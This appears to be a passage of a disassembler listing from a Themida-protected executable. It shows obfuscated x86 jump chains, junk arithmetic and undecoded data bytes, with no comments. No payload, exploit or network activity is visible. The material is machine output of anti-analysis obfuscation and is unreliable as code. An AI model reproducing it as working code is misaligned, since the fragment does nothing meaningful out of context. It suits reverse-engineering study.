; ---------------------------------------------------------------------------

loc_56C813:				; CODE XREF: Themida_:005642ADj
		mov	dl, bl
		jmp	loc_55B331
; ---------------------------------------------------------------------------
		dw 0C968h
		dd 8900007Ch, 0A5BD242Ch, 812C090Fh, 90FA7F5h, 38EF812Ch
		dd 1675224h, 0F0E1E9EFh, 0C580FFFEh, 59EF304Ah,	0EF80C7FEh
		dd 4DF78092h, 8904EC83h, 0F988240Ch, 0FE9CE88h,	0F7FFFF29h
		dd 4EC83D7h, 55243489h,	0F345DDBDh, 0C90BE969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C86A:				; CODE XREF: Themida_:00564320j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 3B91164Bh
		jmp	loc_56C92E
; ---------------------------------------------------------------------------
		db 68h,	14h, 26h
		dd 3C890000h, 9B95124h,	0BF7D990Dh, 7D990D0Dh, 2D59CF31h
		dd 4668732Ch, 2C05F801h, 5F466873h, 6F2968h, 0E28EE900h
		dd 0E089FFFEh, 0FF5231E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C8B1:				; CODE XREF: Themida_:005600A8j
		mov	ebx, 35E93852h
		sub	ebp, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6716h
		mov	[esp], ecx
		push	40B6CFBh
		jmp	loc_561FD8
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 468h, 0F0015E00h, 8324348Bh,	20504C4h, 87000000h, 665C2404h
		dd 66566653h, 81241C8Bh, 2C4h, 665E6600h, 66241C31h, 0E9241C33h
		dd 0FFFFD903h, 8B241433h, 8B662424h, 0E951240Ch, 0FFFF06F3h
		dd 4247401h, 4246C81h, 66FF4F53h, 24148B5Eh, 0E30BE952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56C92E:				; CODE XREF: Themida_:0056C878j
		shl	edi, 3
		sub	edi, 315414FCh
		push	176Dh
		jmp	loc_558D3D
; ---------------------------------------------------------------------------

loc_56C941:				; CODE XREF: Themida_:0055D942j
		and	eax, ebx
		jmp	loc_561899
; ---------------------------------------------------------------------------
		dd 0C054B652h, 6BE903EEh, 0B6FFFF23h, 0BAC5808Eh, 0B652F528h
		dd 0FED6F6C0h, 7AC680C6h, 665AF528h, 8124148Bh,	2C4h, 0E2895200h
		dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 0FF4811E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C989:				; CODE XREF: Themida_:0056B55Aj
		xor	ecx, 474279FEh
		push	edx
		mov	edx, 876B86h
		xor	edx, 675F602Ch
		add	edx, 10345EE3h
		jmp	loc_55DF8E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_568C3E
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFEEBF8h
; ---------------------------------------------------------------------------

loc_56C9BC:				; CODE XREF: Themida_:0056AF92j
		not	esi
		shl	esi, 6
		not	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6510779Fh
		jmp	loc_56BB92
; ---------------------------------------------------------------------------
		db 29h
		dd 64EE81CEh, 59182507h, 348BF329h, 4C48124h, 81000000h
		dd 534828C3h, 0E9CB0124h, 0FFFF8F74h, 0F468595Ah, 89000027h
		dd 15E92414h, 0BFFFFF57h, 4, 4A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_56CA0D:				; CODE XREF: Themida_:0055F67Aj
		push	eax
		jmp	loc_56092D
; ---------------------------------------------------------------------------

loc_56CA13:				; CODE XREF: Themida_:0055E46Bj
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_559016
; ---------------------------------------------------------------------------
		db 52h
		dd 0F388CE88h, 0FF86D5E9h, 0E9CF29FFh, 0FFFF9ECCh, 0C1B1E95Dh
		dd 0E95FFFFFh, 0FFFF71EFh
; ---------------------------------------------------------------------------

loc_56CA40:				; CODE XREF: Themida_:00563B02j
		add	esi, 83FBDEABh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_567A9F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 45047C2h, 0FF4089E9h, 0FDE954FFh, 83FFFFFAh,	348904ECh
		dd 49506824h, 0C890000h, 34CDB924h, 3EBE7D0Bh, 81D3473Ah
		dd 250764C6h, 0FF4DE918h, 0EC83FFFFh, 24348904h, 0FFC2E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CA91:				; CODE XREF: Themida_:0056B4B9j
		sub	eax, 0FFFFFFFFh
		jmp	loc_562357
; ---------------------------------------------------------------------------
		db 0F7h
		dd 19E94EDEh, 33FFFF77h, 34312434h, 24343324h, 8124248Bh
		dd 4ECh, 65D6E900h, 0B850FFFFh,	70274B6h, 8BE9D8F7h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CAC7:				; CODE XREF: Themida_:00564B0Fj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	2D63h
		mov	[esp], ebx
		push	esp
		jmp	loc_56AF00
; ---------------------------------------------------------------------------

loc_56CAE1:				; CODE XREF: Themida_:00562FE9j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	eax
		mov	eax, 1CC5B9Fh
		sub	eax, 3DE56533h
		neg	eax
		add	eax, 3A5F23F3h
		xor	eax, 2D631D6Dh
		mov	ecx, eax
		pop	eax
		jmp	loc_55CF71
; ---------------------------------------------------------------------------

loc_56CB0F:				; CODE XREF: Themida_:0056CFCCj
		push	esi
		mov	esi, 45661DEh
		push	eax
		mov	eax, 50E590Eh
		or	esi, eax
		pop	eax
		push	esi
		inc	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 700261F6h
		xor	ebp, 190E77DDh
		add	esi, ebp
		pop	ebp
		or	esi, 4C9A11C0h
		jmp	loc_55B9DF
; ---------------------------------------------------------------------------
		db 5Bh,	4Eh, 0E9h
		dd 0FFFF27EEh
; ---------------------------------------------------------------------------

loc_56CB4C:				; CODE XREF: Themida_:0056375Cj
		add	eax, 4
		jmp	loc_568C07
; ---------------------------------------------------------------------------
		dw 5456h
		dd 0FFAADBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CB5D:				; CODE XREF: Themida_:0055D7B3j
		push	7A916F22h
		pop	esi
		sub	esi, 2F192869h
		jmp	loc_56D0A5
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF5B6Dh, 478768h,	241C8900h, 0FF410FE9h, 171E05FFh
		dd 0D02920AEh, 0AE171E2Dh, 67FC0520h, 355A3599h, 33ADE9F0h
		dd 0FF6C17E9h, 291F68FFh, 6AE90000h, 58FFFFB3h,	8159CD01h
		dd 0C20997EFh, 0E9EF014Ch, 0FFFF86ADh, 65FF581h, 0DDF71E92h
		dd 5745D5F7h, 0DE6113BFh, 0F9ED8135h, 2932263Ch, 0F9C581FDh
		dd 5F32263Ch, 0DDE9EF01h, 89FFFF97h, 0D6BF243Ch, 87466430h
		dd 7112E9EFh, 815AFFFFh, 0E36E36F7h, 8BFE0139h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55D2FD
; ---------------------------------------------------------------------------
		dw 0FE21h
		dd 52243C8Bh, 0F1E9E289h
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CC0F:				; CODE XREF: Themida_:0056BEFBj
		push	esi
		mov	esi, 1EF363E1h
		jmp	loc_559F14
; ---------------------------------------------------------------------------
		dw 489h
		dd 56E08924h, 1963CDBEh, 2F46E974h, 0B252FFFFh,	0E9D78869h
		dd 0FFFEFD6Bh, 1E2771B8h, 58C50952h, 1067ED81h,	814D5D5Fh
		dd 0FE77BFF5h, 0F7EF81F0h, 2942DD1Eh, 0F7C781EFh, 5D42DD1Eh
		dd 0C781CF29h, 42160B6h, 0FF0BA0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CC65:				; CODE XREF: Themida_:0055D114j
		add	edx, 3B1E0453h
		add	edx, 0BA34C9Dh
		add	edx, esi
		jmp	loc_5627F6
; ---------------------------------------------------------------------------
		dd 0B1240C89h, 8BC888DFh, 0C483240Ch, 58C68804h, 0D0C7E680h
		dd 5EEC0EEh, 81D8EE80h,	4ECh, 240C8900h, 88F78853h, 241C8BFDh
		dd 4C481h, 88530000h, 0E9FC88EFh, 0FFFFDCFBh
; ---------------------------------------------------------------------------

loc_56CCB4:				; CODE XREF: Themida_:0056420Fj
		push	small 4BADh
		mov	[esp], ax
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_56CCC1:				; CODE XREF: Themida_:0056C771j
		mov	edx, 5FD527DCh
		jmp	loc_569295
; ---------------------------------------------------------------------------

loc_56CCCB:				; CODE XREF: Themida_:005644ADj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	0E59h
		mov	[esp], eax
		mov	eax, 79831D70h
		shl	eax, 5
		shr	eax, 5
		or	eax, 3DEB6537h
		sub	eax, 749B28CCh
		jmp	loc_55DE8E
; ---------------------------------------------------------------------------
		dd 5B05D001h, 521A465Fh, 6778FABAh, 0D2C2812Ah,	0E97D0574h
		dd 0FFFFE216h
; ---------------------------------------------------------------------------

loc_56CD10:				; CODE XREF: Themida_:005621C3j
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_558B29
; ---------------------------------------------------------------------------

loc_56CD27:				; CODE XREF: Themida_:0056A451j
		mov	[esp], edi
		push	ebp
		mov	ebp, 691F6A16h
		mov	edi, 691F6A17h
		sub	edi, ebp
		pop	ebp
		and	eax, edi
		mov	edi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	esi
		mov	esi, 69B91113h
		not	esi
		shl	esi, 3
		xor	esi, 1F746F4Bh
		push	eax
		mov	eax, 70EB15A8h
		dec	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6C780031h
		not	ebx
		and	ebx, 42B4171h
		sub	ebx, 9EBFDCB1h
		or	eax, ebx
		jmp	loc_560CA8
; ---------------------------------------------------------------------------
		db 51h
		dd 0B0500CB5h, 7B3431h,	21E958C5h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CD8F:				; CODE XREF: Themida_:0056B0B8j
		mov	edx, ebx
		pop	ebx
		and	edx, 48C753A3h
		add	edx, 0FFFFFFFFh
		add	edx, 175E1CBAh
		jmp	loc_562864
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BA241489h, 4, 36B432Dh, 5D02949h, 49036B43h, 60E9505Ah
		dd 83FFFF69h, 0EE8704C4h, 68D1F681h, 0E7686FDCh, 8900007Bh
		dd 59B9240Ch, 21087741h, 240C8BCEh, 8304C483h, 3C8904ECh
		dd 202EBF24h, 42E94A13h, 68FFFF00h, 3F65h, 83243C89h, 0C8904ECh
		dd 17685324h, 5B334377h, 8104EBC1h, 911DA0C3h, 0F589E93Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CE1A:				; CODE XREF: Themida_:0055F143j
		mov	[esp], ecx
		push	eax
		jmp	loc_55CA33
; ---------------------------------------------------------------------------

loc_56CE23:				; CODE XREF: Themida_:00564B9Fj
		sub	esi, 6C2720E6h
		add	esi, eax
		push	1B1h
		mov	[esp], edi
		jmp	loc_56B3AE
; ---------------------------------------------------------------------------
		dd 6466C181h, 15E94C5Bh
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CE43:				; CODE XREF: Themida_:0055CF95j
		mov	edx, 52FF2C29h
		push	edi
		jmp	loc_55A270
; ---------------------------------------------------------------------------

loc_56CE4E:				; CODE XREF: Themida_:0055A871j
		shl	ecx, 3
		dec	ecx
		jmp	loc_56D338
; ---------------------------------------------------------------------------
		db 57h
		dd 243C8B5Eh, 4C481h, 0ED810000h, 1FDA54D7h, 0FFCD65E9h
		dd 240489FFh, 1F9ABF57h, 7C3114AAh, 5A5F0424h, 1F9AF281h
		dd 48B14AAh, 0CD28E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CE8A:				; CODE XREF: Themida_:0056BA67j
		sub	ch, 8
		add	al, ch
		pop	ecx
		push	dx
		jmp	loc_56A0B1
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 72Dh, 54241C89h, 51241C8Bh, 0C181E189h, 4
		dd 0FEEAB7E9h, 0E9FA01FFh, 0FFFF9A03h
; ---------------------------------------------------------------------------

loc_56CEBC:				; CODE XREF: Themida_:0056A7FEj
		and	ecx, eax
		jmp	loc_55A9BB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 48BC389h, 0A70DE924h, 5755FFFFh, 0AF1A88BFh,	0D33AE950h
		dd 1C87FFFFh, 0F1E95C24h
		db 0D7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56CEE3:				; CODE XREF: Themida_:0056929Dj
		dec	edx
		add	edx, 7FDF6802h
		jmp	loc_565BE3
; ---------------------------------------------------------------------------

loc_56CEEF:				; CODE XREF: Themida_:0056D59Cj
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	3BA0h
		jmp	loc_56850E
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FFE515E9h, 1FCC2DFFh, 0FA055049h,	0FF3CC205h
		dd 515A2434h, 0FF1716E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CF25:				; CODE XREF: Themida_:0056D55Ej
		or	edi, 502E05D6h
		neg	edi
		jmp	loc_563C85
; ---------------------------------------------------------------------------
		dw 0E94Dh
		dd 0FFFEFBB1h, 8F87EF81h, 0F8013836h, 22C8E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CF46:				; CODE XREF: Themida_:0055DC17j
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4

loc_56CF4F:				; CODE XREF: Themida_:00567D84j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_55EE98
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0FFh
		dd 1FFFFFFh, 0D5F759CDh, 0FF07F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56CF71:				; CODE XREF: Themida_:005694EDj
		mov	[esp], edx
		mov	edx, 300E41DDh
		sub	edx, 1EA00EAh
		shl	edx, 8
		push	ebp
		mov	ebp, 6ABA73ECh
		add	edx, ebp
		pop	ebp
		and	edx, 2D5F1BE9h
		sub	edx, 0C9D4BE02h
		sub	eax, edx
		pop	edx
		jmp	loc_55D23A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 325A6B03h, 5169EA81h, 6BE9EB1Dh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56CFAF:				; CODE XREF: Themida_:00560578j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	ecx, 3
		sub	ecx, 0EE8E2D8Dh
		xor	ebx, ecx
		pop	ecx
		shl	ebx, 1
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56CB0F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 0C02EB624h, 416806EEh, 8900001Ch, 8851241Ch,	42E952F5h
		dd 59FFFF48h, 0FF666EE9h, 48ED81FFh, 816EB335h,	2B6C0EC5h
		dd 5DE901C4h, 3304C183h, 0C31240Ch, 240C3324h, 0E924248Bh
		dd 0FFFEF2EDh
; ---------------------------------------------------------------------------

loc_56D014:				; CODE XREF: Themida_:0056B1E8j
		mov	esp, [esp]
		add	esp, 4
		push	3D1Eh
		jmp	loc_55EEC1
; ---------------------------------------------------------------------------

loc_56D024:				; CODE XREF: Themida_:005612F7j
		pop	esi
		shl	ebx, 5
		shr	ebx, 1
		shl	ebx, 2
		sub	ebx, 124BEAFCh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_568AE9
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0FCh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D04F:				; CODE XREF: Themida_:0056A628j
		mov	esi, 42072F65h
		add	edx, esi
		pop	esi
		push	eax
		jmp	loc_560429
; ---------------------------------------------------------------------------

loc_56D05D:				; CODE XREF: Themida_:00565F56j
		sub	edi, 0EFC343AEh
		sub	edx, 7ABA5DC9h
		sub	edx, edi
		add	edx, 7ABA5DC9h
		pop	edi
		jmp	loc_55AB5D
; ---------------------------------------------------------------------------
		db 30h
		dd 0E9FA30D7h, 0FFFF731Ah, 0E9565F5Bh, 0FFFEDE8Ch
; ---------------------------------------------------------------------------

loc_56D088:				; CODE XREF: Themida_:00559885j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55FC3D
; ---------------------------------------------------------------------------

loc_56D093:				; CODE XREF: Themida_:00562AE8j
		pop	ebx
		sub	ebx, 0D7E9AA1Dh
		add	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5683C9
; ---------------------------------------------------------------------------

loc_56D0A5:				; CODE XREF: Themida_:0056CB69j
		mov	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		push	ecx
		push	edi
		mov	edi, 634D3649h
		jmp	loc_566E75
; ---------------------------------------------------------------------------
aIShch		db 'ˆÅSh—H',0
		align 2
		dw 489h
		dd 16A86824h, 1C890000h, 0BB24h, 0D8890000h, 8953575Bh
		dd 0E9DF89C3h, 0FFFF1104h, 80EBAABFh, 8BFA31E4h, 0C481243Ch
		dd 4, 148BD631h, 4C48324h, 5106E6C1h, 0F030A3B9h, 59CE319Ah
		dd 53286857h, 2C890000h, 354FBD24h, 5F555AB8h, 0FFD8EFE9h
		dd 2EDC0FFh, 0C580CDFEh, 218E9C9h, 0DBF7FFFFh, 0C3814343h
		dd 84E5E070h, 0FFA016E9h, 4B951FFh, 89000000h, 0D5E959C8h
		dd 1FFFFE1h, 1BC281FAh,	5F705B47h, 27A768h, 24048900h
		dd 2B8h, 0E0EA8100h, 12EB30Dh, 0CCB4E9C2h, 0F781FFFFh
		dd 2C760D19h, 35E6CF81h, 0EFD1185Eh, 200DC781h,	0F801C2C0h
		dd 4055Fh, 4870000h, 10685C24h,	89000040h, 48BB241Ch, 97F595Bh
		dd 0A17DE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D19A:				; CODE XREF: Themida_:00565E80j
		pop	edx
		inc	eax
		not	eax
		push	ebp
		mov	ebp, 1B525C37h
		jmp	loc_55DB45
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 8702C383h, 248B241Ch, 69F68024h, 805AF188h, 0EB8009C3h
		dd 80CB006Ch, 50666CC3h, 0C32809B0h, 8B665866h,	0E9E9240Ch
		dd 89FFFFE1h, 0E9502434h, 0FFFEE70Fh, 0BF57D5F7h, 531C3459h
		dd 7199ED81h, 0FD017DF6h, 7199C581h, 34FF7DF6h,	0C4835F24h
		dd 8E5C104h, 8904EC83h,	7EBF243Ch, 217B671Dh, 243C8BFDh
		dd 5204C483h, 0FEBDA0E9h, 0D7F75FFFh, 0F698EF81h, 0FA89B870h
		dd 5F2434FFh, 5604C483h, 0E8165ABEh, 246C8131h,	27389808h
		dd 246C8111h, 0AF411308h, 0D85DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D246:				; CODE XREF: Themida_:0055D266j
		pop	ecx
		push	ecx
		mov	ecx, 428644E6h
		add	eax, 748E1B95h
		add	eax, ecx
		jmp	loc_56BAA1
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0B6F8B151h, 59CE28E6h, 0E944B551h, 0FFFF8ACBh, 4C481h
		dd 53E90000h, 28FFFF71h, 88515AD7h, 0E9EC88FDh,	0FFFFA9ADh
		dd 2BE56855h, 0E5E9731Ch
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D28F:				; CODE XREF: Themida_:0055B875j
		push	ecx
		mov	ecx, 250B25C3h
		inc	ecx
		push	628Dh
		jmp	loc_5625E4
; ---------------------------------------------------------------------------
		dd 0DDF7EA87h, 0FF0F26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D2A9:				; CODE XREF: Themida_:0055C06Fj
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 2DBD1F2Dh
		sub	edi, ebx
		push	esi
		push	16584968h
		pop	esi
		xor	esi, 3BE55645h
		add	edi, 13FE546Fh
		add	edi, esi
		sub	edi, 13FE546Fh
		pop	esi
		pop	ebx
		jmp	loc_5689E9
; ---------------------------------------------------------------------------

loc_56D2DF:				; CODE XREF: Themida_:005590BAj
		pop	esi
		push	7607h
		mov	[esp], eax
		mov	eax, 2CCD695Fh
		sub	eax, 38F03A33h
		sub	ecx, eax
		pop	eax
		jmp	loc_55B13A
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 3E30C381h, 0E95817CDh, 0FFFF8552h, 4EC83ADh,	68243489h
		dd 19983006h, 5E2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0FF20A1E9h, 38C181FFh, 0E931E51Dh, 0FFFF7D4Dh
; ---------------------------------------------------------------------------

loc_56D338:				; CODE XREF: Themida_:0056CE52j
		xor	ecx, 2E10735Ah
		xor	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_558AED
; ---------------------------------------------------------------------------
		dd offset dword_582368
		dd 0B10DE900h, 0F281FFFFh, 2BBE6246h, 0FFFFEA81h, 0E281FFFFh
		dd 11DB348Bh, 0A6EA814Ah, 9D7B6F1h, 24148BD1h, 4C481h
		dd 0F1810000h, 0FDE73FDDh, 1112C381h, 0EB816A33h, 46AB2212h
		dd 1BAAC381h, 0CB010C10h, 1BAAEB81h, 34E90C10h,	57FFFF0Ah
		dd 0E05973BFh, 7E2EE954h, 0C89FFFFh, 10F5B924h,	84E922FEh
		dd 66FFFF43h, 0E924048Bh, 0FFFF133Eh, 42E7EA81h, 0FFE9EAA7h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D3C7:				; CODE XREF: Themida_:00568B89j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_55911B
; ---------------------------------------------------------------------------

loc_56D3D3:				; CODE XREF: Themida_:0055E5BEj
		pop	esp
		push	325Ah
		jmp	loc_55AFC4
; ---------------------------------------------------------------------------
		dw 483h
		dd 0D5E90424h, 81FFFECBh, 2A7A5EF2h, 5CE95D7Fh
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D3F3:				; CODE XREF: Themida_:0055FD3Bj
		mov	ebx, 4FF218A9h
		push	edi
		push	esp
		jmp	loc_56A245
; ---------------------------------------------------------------------------

loc_56D3FF:				; CODE XREF: Themida_:0055F6ECj
		push	ecx
		push	ebp
		mov	ebp, 5B0C1692h
		mov	ecx, ebp
		jmp	loc_563616
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 25h
		dd 0F604ECC0h, 24F480DCh, 0FFAB36E9h, 67E959FFh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D423:				; CODE XREF: Themida_:005697F9j
		or	ecx, edx
		pop	edx
		shr	ecx, 8
		sub	ecx, 48990EB5h
		jmp	loc_55ED6D
; ---------------------------------------------------------------------------

loc_56D434:				; CODE XREF: Themida_:0055D04Cj
		mov	ebp, esp
		jmp	loc_5603F8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240411h, 0FEB443E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D449:				; CODE XREF: Themida_:0056302Bj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_55DBEB
; ---------------------------------------------------------------------------
		dd 0A2E9FB29h, 0B8FFFF53h, 44C14766h, 3412BA52h, 0C2810192h
		dd 4EB21625h, 5323EA81h, 0FEE95DBFh, 41FFFFAFh,	0FFF9A7E9h
		dd 2434FFFFh, 0E189515Bh, 0FF4DCCE9h, 0E95259FFh, 0FFFF7584h
		dd 89DF8957h, 15B5FFAh,	242C8BEAh, 4C481h, 0E2C10000h
		dd 0C7E95304h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D4BF:				; CODE XREF: Themida_:00564E2Bj
		pop	ecx
		push	3DA0h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_560EC9
; ---------------------------------------------------------------------------

loc_56D4D5:				; CODE XREF: Themida_:0055FE3Bj
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, 59EA6533h
		sub	ecx, edx
		add	ecx, 59EA6533h
		push	dword ptr [esp]
		jmp	loc_563D81
; ---------------------------------------------------------------------------

loc_56D4FD:				; CODE XREF: Themida_:0055AD77j
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55FD24
; ---------------------------------------------------------------------------

loc_56D508:				; CODE XREF: Themida_:0055FBF1j
		push	ecx
		mov	ecx, eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5635A6
; ---------------------------------------------------------------------------
		dw 7368h
		dd 0E9000071h, 0FFFF607Eh, 4C481h, 0CC2D0000h, 8B59EF47h
		dd 0C483242Ch, 24048704h, 6824248Bh, 540Dh, 50243489h
		dd 0DAE95256h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D547:				; CODE XREF: Themida_:0055F74Dj
		and	ebp, 2B492ECDh
		add	ebp, 3C1D275Ch
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56CF25
; ---------------------------------------------------------------------------
		db 80h
		dd 0F680BEE6h, 8BF3003Fh, 0C4812414h, 4, 138E68h, 0A6DDE900h
		dd 505EFFFFh, 405E089h,	55000000h, 0FF428BE9h, 5E9C1FFh
		dd 0FF1A91E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D595:				; CODE XREF: Themida_:00567FF7j
		pop	ebx
		add	ebx, 4
		jmp	loc_56CEEF
; ---------------------------------------------------------------------------

loc_56D5A1:				; CODE XREF: Themida_:0056AF21j
		mov	dh, 78h
		add	dh, 87h
		add	ch, dh
		jmp	loc_56A9BE
; ---------------------------------------------------------------------------

loc_56D5AD:				; CODE XREF: Themida_:0055AE71j
		xchg	ebp, [esp]
		jmp	loc_563678
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 4
		dd 801CC735h, 93E95571h, 8BFFFF11h, 0C4812404h,	4, 6BB16855h
		dd 685D34A8h, 40AEh, 0B8240489h, 3F8C07B0h, 246C0535h
		dd 0E9C5310Bh, 0FFFF1ECEh
; ---------------------------------------------------------------------------

loc_56D5EC:				; CODE XREF: Themida_:00568005j
		pop	esp
		jmp	loc_565F21
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 19F381D3h, 29B76EE0h, 0B3F6E9DDh, 68ADFFFFh,	340Bh
		dd 1B2E9h, 24348700h, 0BD55565Ch, 302C0FCEh, 164152BEh
		dd 0AA5EE907h, 3C87FFFFh, 48685C24h, 89000066h,	0E950241Ch
		dd 0FFFF061Ah, 58E38859h, 25685066h, 89000067h,	0DE882414h
		dd 6FE95053h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D64B:				; CODE XREF: Themida_:00563DABj
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	120h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56BFB9
; ---------------------------------------------------------------------------

loc_56D66A:				; CODE XREF: Themida_:00564689j
		add	ecx, 50D5CD3h
		add	ecx, ebx
		sub	ecx, 50D5CD3h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564AAC
; ---------------------------------------------------------------------------

loc_56D683:				; CODE XREF: Themida_:00566382j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55E890
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0DE76E953h, 0E981FFFEh, 4A1960C5h, 757FC181h, 68E91321h
		dd 1FFFF6Ch, 26BE56C2h,	1548E39h, 24348BF2h, 4C481h, 48B0000h
		dd 8481E924h, 0B9BAFFFFh, 815A7A20h, 0F26364EAh, 87E28143h
		dd 0C123EA12h, 2E907EAh, 66FFFF7Eh, 0E9240C8Bh,	0FFFF7D5Eh
		dd 106C242Dh, 1CE95A04h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D6F3:				; CODE XREF: Themida_:0055D581j
		sub	bl, 1
		jmp	loc_56AE33
; ---------------------------------------------------------------------------
		db 80h
		dd 0CDE96EF4h, 2DFFFFA7h, 19ED4E8Eh, 557DBF57h,	0F801739Eh
		dd 0C0835A5Fh, 24043304h, 0FF57C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D71D:				; CODE XREF: Themida_:005651E8j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56AE8C
; ---------------------------------------------------------------------------
		dd 685AD328h, 52FAh, 0E9240C89h, 0FFFF2485h
